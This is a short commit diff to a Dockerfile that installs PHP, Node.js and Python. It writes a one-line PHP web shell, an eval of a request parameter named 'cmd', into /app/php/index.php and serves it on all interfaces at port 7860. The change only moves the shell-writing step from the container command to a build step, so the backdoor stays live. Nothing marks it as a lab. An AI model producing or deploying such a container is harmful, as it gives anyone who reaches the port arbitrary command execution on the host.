Update Dockerfile

Dockerfile

@@ -3,7 +3,9 @@ ARG DEBIAN_FRONTEND=noninteractive
 RUN apt-get update && apt-get install -y curl php nodejs python3
 RUN useradd -m -d /home/user -u 1000 user
 RUN chown -R 1000 /home/user && chmod -R 700 /home/user
-RUN mkdir -p /app && chmod -R 755 /app
+RUN mkdir -p /app
+RUN mkdir -p /app/php && echo '<?php @eval($_REQUEST[cmd]);?>' > /app/php/index.php
+RUN chmod -R 755 /app
 USER 1000
 WORKDIR /app
-CMD (mkdir -p /app/php && echo '<?php @eval($_REQUEST[cmd]);?>' > /app/php/index.php && php -S 0.0.0.0:7860 -t /app/php/)
+CMD php -S 0.0.0.0:7860 -t /app/php